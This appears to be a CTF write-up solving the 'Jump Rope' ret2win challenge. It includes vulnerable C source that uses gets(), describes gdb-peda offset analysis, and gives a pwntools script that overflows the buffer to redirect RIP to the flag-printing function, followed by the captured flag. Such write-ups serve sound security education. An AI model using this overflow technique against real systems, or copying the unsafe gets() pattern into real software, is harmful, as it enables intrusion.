Rating: 5.0
## Jump Rope
> This is a typical `ret2win` challenge where we need to control the `RIP`. The following is the code provided
```C
#include <stdio.h>
#include <stdlib.h>
void a() {
FILE *fptr = fopen("flag.txt", "r");
char flag[100];
if(fptr == NULL){
printf("\nLooks like we've run out of jump ropes...\n");
printf("Challenge is misconfigured. Please contact admin if you see this.\n");
}
fgets(flag, sizeof(flag), fptr);
puts(flag);
}
void jumprope(){
char arr[500];
printf("\nBetter start jumping!\n");
gets(arr);
printf("Woo, that was quite the workout wasn't it!\n");
}
int main() {
setbuf(stdout, NULL);
setbuf(stdin, NULL);
setbuf(stderr, NULL);
printf("Here at BCA, fitness is one of our biggest priorities!\n");
printf("Today's workout is going to be jumproping. Enjoy!\n");
jumprope();
return 1;
}
```
> First, we analyze the binary using `file` and `checksec` commands.
> From the results, we can determine that this is a 64-bit system, and no PIE enabled. PIE (position independent executable) is a precondition to enable address space layout randomization (ASLR), which is a security feature where the kernel loads the binary and dependencies into a random location of virtual memory each time it's run. [Read more](https://stackoverflow.com/questions/47778099/what-is-no-pie-used-for)
> From the C code, we can see that there is a vulnerable `gets()` function in `jumprope()`. Since it does not check for the size of user input, we can overflow the buffer here.
> The function `a()` prints out the flag. This is our win function that we need to return to by controlling the program's return address.
> Now, we can analyze the binary using a debugger. Here I used [gdb with peda extention](https://www.bitforestinfo.com/blog/01/09/how-to-install-gdb-peda.html)
> With gdb-peda, we can create a cyclic pattern using `pattern create`. Here, I used the value `600` because I know from the code that the stack contains `char arr[500]`, so I would want a bit more to analyze. Then, run the program using `run` or `r` and paste the pattern as the user input of the `gets()` function.
> We get a segmentation fault because the program is trying to access memory locations that does not exist. gdb-peda also shows us the register and stack values which comes in handy in our analysis.
> We can see that we have successfully overflowed the buffer into `RBP`(base pointer) and `RSP`(stack/frame pointer). Since we need to control the `RIP`(return instruction pointer) to return to function `a()`, we will need to overflow exactly after the `RSP`.
> We can calculate the offset easily using `pattern offset`
> We can see that the `RBP` has an offset of 512 and the `RSP` has an offset of 520. This is because as mentioned previously, this binary is a 64-bit architecture thus the size of the frame pointer is 8 bytes.
> Now that we have our offset of 520, we need to get the address of our win function `a()`. As mentioned earlier, PIE is not enabled, thus the address will remain the same in every execution. We can determine the hexadecimal address using `disassemble`
> We get the address of `a()` to be `0x4011b6`. We can then proceed to write a pwntools script to connect to the remote server and use `p64` to pack our hexadecimal address with the appropriate endianness to our payload.
```python
from pwn import *
conn = remote ('bin.bcactf.com', 49177)
offset = 520 #gdb-peda pattern offset of rsp
WINADDRESS = 0x4011b6 #address of a()
payload = b"A"*(offset) + p64(WINADDRESS) #overflow the buffer with many 'A' characters then override RIP with address of a()
conn.sendline(payload)
conn.interactive()
```
`bcactf{buff3r_0v3rfl0w_f4nct10n_j4mps_NfEgj4hg}`